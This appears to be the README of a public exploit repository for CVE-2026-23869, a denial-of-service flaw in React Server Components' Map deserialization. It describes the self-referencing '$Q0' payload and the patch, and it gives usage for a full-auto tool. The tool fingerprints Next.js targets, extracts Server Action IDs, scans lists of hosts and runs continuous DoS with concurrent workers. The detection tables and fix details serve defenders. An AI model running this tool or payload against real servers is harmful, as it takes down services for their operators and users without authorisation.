
Automated exploit tool for CVE-2026-23869, a remote DoS in React Server Components. Includes PoC, Nuclei template, and scanning scripts for detection and exploitation.
Unauthenticated Remote Denial-of-Service via React Flight Protocol
Quadratic CPU Exhaustion in Server Components Map Deserialization
Overview • How It Works • Tools • Install • Usage • Nuclei • Fix • Disclaimer
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-23869 |
| Alias | React2DoS |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
| Type | Unauthenticated Remote Denial of Service |
| Discovered By | Yohann Sillam (Imperva Threat Research) |
| Affected | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Patched | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
A critical Denial-of-Service vulnerability exists in React Server Components' Flight protocol deserialization. An unauthenticated attacker can send a single crafted HTTP request to any Next.js App Router Server Action endpoint, causing quadratic O(n²) CPU exhaustion that locks the server for minutes.
consumed Flag in Map DeserializationReact Flight protocol uses special markers to serialize data types. $Q represents a Map object. When the server receives a payload containing self-referencing $Q0 markers:
Payload: [ [1,1], [1,1], ...(n valid entries)..., "$Q0", "$Q0", ...(n refs)... ]
Each $Q0 triggers a new Map() constructor that iterates over all n valid entries. The Map constructor throws an error (because the entries are malformed), but the critical bug is: the consumed flag is never set on failure.
This means the next $Q0 recomputes the exact same Map from scratch → creating O(n²) complexity:
n valid entries × n $Q0 references = n² Map constructor calls
Example: 65,000 × 65,000 = 4,225,000,000 operations
Result: Single request locks CPU for 5-10+ minutes
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Attacker │ ──────────────────────────────────────▶ │ Next.js Server │
│ │ Header: Next-Action: <action_id> │ │
│ │ Body: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% LOCKED │
└──────────┘ │ for ~5-10 min │
└──────────────────┘
// ReactFlightReplyServer.js — BEFORE patch
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Fails but doesn't set consumed = true
// Next $Q0 recomputes from scratch
}
// ReactFlightReplyServer.js — AFTER patch (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Fix: set flag BEFORE construction
return new Map(data); // Prevents repeated recomputation
}
| File | Description |
|---|---|
poc.py | Full-auto exploit tool with 4-phase pipeline (Recon → Extract → Detect → Exploit) |
# Clone the repository
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Install Python dependency
pip install requests
# Make scripts executable
chmod +x poc.py scan.sh extract-action-ids.sh
# For Nuclei template scanning
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# For live target filtering
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Just give the URL — the tool does everything automatically:
python3 poc.py -u https://target.com
What happens:
# Scan a list of domains/IPs
python3 poc.py -L targets.txt
# With JSON report output
python3 poc.py -L targets.txt -o results.json
# Safe detection only
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Single-shot exploit
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# Continuous DoS (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL Target URL (single target)
-L, --list FILE File with target URLs/IPs (one per line)
-a, --action-id ID Server Action ID (skip auto-extraction)
--detect Detection only — safe, non-destructive (default)
--single Single-shot exploit after detection
--exploit Continuous DoS after detection
--extract Only extract action IDs
-l, --length N Payload entries (default: 130000)
-w, --workers N Concurrent workers (default: 5)
-d, --delay SEC Delay between requests (default: 1.0)
-o, --output FILE Save JSON report
-t, --threads N Concurrent targets for list scan (default: 3)
The original PoC syntax still works:
python3 poc.py <ACTION_ID> <URL>
# Single target
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Multiple targets
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Clean output (only vulnerable results)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
Note: The
-itags dosflag is required because Nuclei excludes DoS templates by default for safety.
Request 1 (GET /) → Fingerprint Next.js (headers + HTML markers)
Request 2 (GET /) → Extract Server Action IDs from createServerReference()
Request 3 (POST /) → Baseline timing request (benign payload)
Request 4 (POST /) → Exploit probe (250 valid + 250 $Q0 entries)
└─ If response time ≥ 3s → VULNERABLE
# Runs httpx → filters live targets → nuclei scan → results
./scan.sh
# Or specify custom files
./scan.sh targets1.txt targets2.txt
The tool uses timing-based detection to safely identify vulnerable servers:
A detection is confirmed when:
multipart/form-data bodies containing $Q markers/CVE-2026-23869-Exploit/
├── README.md # This file
├── poc.py # Full-auto PoC exploit tool
├── CVE-2026-23869.yaml # Nuclei detection template
├── scan.sh # httpx + nuclei auto-scanner
└── extract-action-ids.sh # Standalone action ID extractor
╔══════════════════════════════════════════════════╗
║ PHASE 1 ▸ RECONNAISSANCE ║
╚══════════════════════════════════════════════════╝
✓ Next.js detected (Next.js)
✓ Build ID: abc123def456
✓ App Router: Server Actions detected
╔══════════════════════════════════════════════════╗
║ PHASE 2 ▸ ACTION ID EXTRACTION ║
╚══════════════════════════════════════════════════╝
✓ Found 3 Action ID(s):
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ PHASE 3 ▸ VULNERABILITY DETECTION ║
╚══════════════════════════════════════════════════╝
[1/2] Baseline: 0.142s
[2/2] Probe: 7.891s (55.6x baseline)
██ VULNERABLE — CVE-2026-23869 CONFIRMED ██
╔══════════════════════════════════════════════════════════════╗
║ BATCH SCAN RESULTS ║
╚══════════════════════════════════════════════════════════════╝
Scanned : 150 targets in 45.2s
Vulnerable : 3
Patched : 12
Skipped : 135
🔴 VULNERABLE TARGETS
─────────────────────────────────────────────────
# TARGET PROBE RATIO
1 vulnerable-app.com 7.89s 55.6x
2 staging.example.com 4.21s 28.1x
3 dev.testsite.org 12.33s 82.2x
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY
This tool is provided for educational purposes and authorized penetration testing only. Unauthorized use of this tool against targets you do not own or have explicit permission to test is illegal and may violate computer fraud laws (CFAA, CMA, etc.).
The authors are not responsible for any misuse or damage caused by this tool. Always obtain proper written authorization before testing any systems.
If you find this useful, consider giving it a ⭐
CVE-2026-23869.yaml | Nuclei detection template with flow-based orchestration |
scan.sh | Wrapper script: httpx live filtering + nuclei scanning |
extract-action-ids.sh | Standalone Server Action ID extractor |
| Metric | Vulnerable | Patched |
|---|
| Baseline (benign request) | ~0.1-0.5s | ~0.1-0.5s |
| Probe (500 entries) | 3-10+ seconds | ~0.1-0.5s |
| Ratio (Probe/Baseline) | >5x | ~1x |
| Full payload (130K entries) | 5-10+ minutes | ~0.1-0.5s |
| Package | Vulnerable | Fixed |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |